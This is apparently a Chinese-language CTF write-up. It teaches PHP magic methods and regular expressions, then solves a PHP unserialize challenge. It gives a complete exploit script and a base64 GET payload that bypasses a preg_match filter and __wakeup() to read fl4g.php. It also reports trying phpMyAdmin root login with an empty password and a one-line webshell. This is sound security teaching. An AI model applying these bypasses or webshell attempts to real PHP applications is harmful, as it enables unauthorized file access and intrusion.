一、知识基础讲解
1、三个魔术方法:
PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods),这些方法在PHP中充当了举足轻重的作用。
(1) __construct()函数
类的构造函数,创建时自动调用,用得到的参数覆盖$file。php中构造方法是对象创建完成后第一个被对象自动调用的方法,在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。
(2)__destruct()函数
是 PHP 面向对象编程的另一个重要的魔法函数,该函数会在类的一个对象被删除时自动调用。我们可以在该函数中添加一些释放资源的操作,比如关闭文件、关闭数据库链接、清空一个结果集等,但__destruct() 在日常的编码中并不常见,因为它是非必须的,是类的可选组成部分。通常只是用来完成对象被删除时的清理动作而已,而 PHP 的特性 (运行完一次请求则销毁环境 )的做法,也没必要使用 __destruct() ,执行完请求后所有该销毁的都会销毁。__destruct() 的声明格式类似于构造函数 __construct , 该名字是固定的,以两个下划线开头,然后跟上 destruct 关键字,该函数没有任何参数,也不需要更不要返回任何值,该函数的原型如下:
function __destruct() { // 其它代码 }
(3)__wakeup()函数
在进行PHP反序列化时,会先调用这个函数,但是如果序列化字符串中表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行。
2、两个重要常见的PHP函数
(1)str_replace() 函数
用于替换字符串中的一些字符且区分大小写
比如把字符串 "kali linux" 中的字符 "linux" 替换成 "Windows":
<?php echo str_replace("linux","Windows","kali linux"); ?>
(2)preg_match 函数
用于执行一个正则表达式匹配,每段正则表达式必须要有一对定界符,我们一般使用 / 为定界符。
$string = "kali linux" ; if (preg_match( '/ka/' , $string )) { // 匹配正确 }
3、正则表达式(内容较多,希望可以认真看完,是有帮助的)
(1)基本模式匹配规则
模式,是正则表达式最基本的元素,它们是一组描述字符串特征的字符。模式可以很简单,由普通的字符串组成,也可以非常复杂,往往用特殊的字符表示一个范围内的字符、重复出现,或表示上下文。例如:^once
这个模式包含一个特殊的字符 ^,表示该模式只匹配那些以 once 开头的字符串,例如该模式与字符串 "once upon a time" 匹配,与 "There once was a man from NewYork" 不匹配。
正如^ 符号表示开头一样,$ 符号用来匹配那些以给定模式结尾的字符串。
比如:bucket$
这个模式与 "Who kept all of this cash in a bucket" 匹配,与 "buckets" 不匹配。
字符 ^ 和 $ 同时使用时,表示精确匹配。
例如:^bucket$
只匹配字符串 "bucket"。
如果一个模式不包括 ^ 和 $,那么它与任何包含该模式的字符串匹配。
例如模式:once
与字符串 There once was a man from NewYork Who kept all of his cash in a bucket.是匹配的。
在该模式中的字母 (o-n-c-e) 是字面的字符,也就是说,他们表示该字母本身,数字也是一样的。其他一些稍微复杂的字符,如标点符号和白字符(空格、制表符等),要用到转义序列。所有的转义序列都用反斜杠 \ 打头。制表符的转义序列是 \t。所以如果我们要检测一个字符串是否以制表符开头,可以用这个模式:^\t
(2)字符簇
用一种更自由的描述我们要的模式的办法----字符簇。要建立一个表示所有元音字符的字符簇,就把所有的元音字符放在一个方括号里:
[AaEeIiOoUu] 这个模式与任何元音字符匹配,但只能表示一个字符。
用连字号可以表示一个字符的范围,如:
[a-z] // 匹配所有的小写字母
[A-Z] // 匹配所有的大写字母
[a-zA-Z] // 匹配所有的字母
[0-9] // 匹配所有的数字
[0-9\.\-] // 匹配所有的数字,句号和减号
[ \f\r\t\n] // 匹配所有的白字符
(3)PHP正则表达式的内置通用字符簇表
字符簇 | 描述 |
[[:alpha:]] | 任何字母 |
[[:digit:]] | 任何数字 |
[[:alnum:]] | 任何字母和数字 |
[[:space:]] | 任何空白字符 |
[[:upper:]] | 任何大写字母 |
[[:lower:]] | 任何小写字母 |
[[:punct:]] | 任何标点符号 |
[[:xdigit:]] | 任何16进制的数字,相当于[0-9a-fA-F] |
(4)单个字符匹配
正则表达式中,\d 表示匹配一个数字字符。等价于 [0-9]
相反,正则表达式中,\D 则表示匹配一个非数字字符。等价于 [^0-9]
+ 匹配前面的子表达式一次或多次(大于等于1次),\d+ 则表示匹配多个数字
此外:
\s 匹配空白(空格、tab)
\S 匹配非空白
\w 匹配非特殊字符(a-z、A-Z、0-9、_、汉字)
\W 匹配特殊字符(非字母、非数字、非下划线、非汉字)
(5)其他常见正则表达式符号
^ 匹配输入字行首
$ 匹配输入行尾
* 匹配前面的子表达式任意次
+ 匹配前面的子表达式一次或多次(大于等于1次)
? 匹配前面的子表达式零次或一次
x|y 匹配x或y
[xyz] 字符集合,匹配所包含的任意一个字符
[^xyz] 负字符集合,匹配未包含的任意字符
(6)正则表达式中常用的模式修正符
修饰符 | 含义 | 描述 |
i | ignore - 不区分大小写 | 将匹配设置为不区分大小写,搜索时不区分大小写: A 和 a 没有区别。 |
g | global - 全局匹配 | 查找所有的匹配项。 |
m | multi line - 多行匹配 | 使边界字符 ^ 和 $ 匹配每一行的开头和结尾,记住是多行,而不是整个字符串的开头和结尾。 |
s | 特殊字符圆点 . 中包含换行符 \n | 默认情况下的圆点 . 是匹配除换行符 \n 之外的任何字符,加上 s 修饰符之后, . 中包含换行符 \n。 |
(7)其他
开头的 ^ 和结尾的 $ 让PHP从字符串开头检查到结尾,假使没有 $,仍会匹配到 末尾。
尽管 [a-z] 代表 26 个字母的范围,但在这里它只能与第一个字符是小写字母的字符串匹配。
前面曾经提到^表示字符串的开头,但它还有另外一个含义。当在一组方括号里使用 ^ 时,它表示"非"或"排除"的意思,常常用来剔除某个字符。比如我们要求第一个字符不能是数字: ^[^0-9][0-9]$,这个模式与 "&5"、"g7"及"-2" 是匹配的,但与 "12"、"66" 是不匹配的。
OK,有了上面的知识基础后我们可以开始这道题的讲解(我是小白,但是真的每次做题吧都能学到很多,至少前面的知识能让我们看懂题目意思,所以我写wp这些都很详细,加油!)
二、本题详解
这个是题目给的PHP代码
1、试错
web的题我习惯先用御剑扫一下
这里扫出了phpmyadmin的登录地址,用户名root,密码为空(有root这个默认用户)
我进去尝试SQL注入一句话木马用蚁剑连接,但是好像不行
可能是没找对一句话木马的位置,也可能是存在其他绕过,反正蚁剑要么没返回值,要么报错
2、代码审计与脚本编写详细过程
审计一下给的代码:(先看前半部分)
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } }
这前半部分大概就是定义了一个类Demo,也出现了__wakeup()函数。
_construct()创建时自动调用,用得到的参数覆盖$file
__destruct(),销毁时调用,会显示文件的代码,这里要显示fl4g.php
__wakeup(),反序列化时调用,会把$file重置成index.php
如果觉得不太看得懂,可以先看我另一篇博客:_unserialize3(php序列化、反序列化及绕过),有关于PHP代码更基础的简绍,那道题只有一个绕过,这道题有两个,而且还有另外一个坑...
__wakeup()很容易绕过,只需要令序列化字符串中标识变量数量的值大于实际变量即可
怎么敲这个代码,可以看到前半部分没变直接抬了过去,
后面两行代码就是对它进行序列化操作
$Myon = new Demo("fl4g.php");
$Myon = serialize($Myon);
最后一行是进行输出
echo $Myon;
得到 O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
3、正则匹配的绕过与__wakeup()的绕过
但是这个作为payload肯定是还不行的
我们继续看后半部分代码
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
简单说一下,isset()函数就是一个PHP中的内置函数,它用来检查变量是否已设置且不为NULL。
(可以知到是要使用get传参,且传给var)
我们继续添加了两行代码
$Myon = str_replace('O:4','O:+4',$Myon); // 对正则匹配的绕过
$Myon = str_replace('1:{','2:{',$Myon); // 对__wakeup()函数的绕过 (前面博客有详细介绍)
(为什么这里这样写,是基于前面我们只进行序列化操作,知道了输出结果的样子,以及前面理解了常用函数的用法,希望大家可以好好理解这两句代码)
输出得到 O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
从$var = base64_decode($_GET['var']);
可以看出存在base64的一个解码过程,所以我们还要先对它进行一个base64的编码
使用在线工具编码,得到 TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
但是...并没有得到任何回显
4、排坑
这就是前面提到过的一个坑:
这里的 file 变量为私有变量,所以序列化之后的字符串开头结 尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结 果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在 php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首 部会加上%00*%00。
加上代码
echo base64_encode($Myon);
直接将结果进行base64编码再输出
得到 TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
果然和上面用在线工具编码结果是不同的
构造payload,用get传参方式将值传给var
即 /?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得到flag
ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}
5、完整脚本
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $Myon = new Demo('fl4g.php'); $Myon = serialize($Myon); $Myon = str_replace('O:4','O:+4',$Myon); $Myon = str_replace('1:{','2:{',$Myon); echo base64_encode($Myon); ?>
真心希望能对各位学习PHP,做web有所帮助,这也是我自己的一个提升和学习过程,
后面会继续更新CTF和kali的一些内容,喜欢的可以点赞关注支持一下哈,谢谢!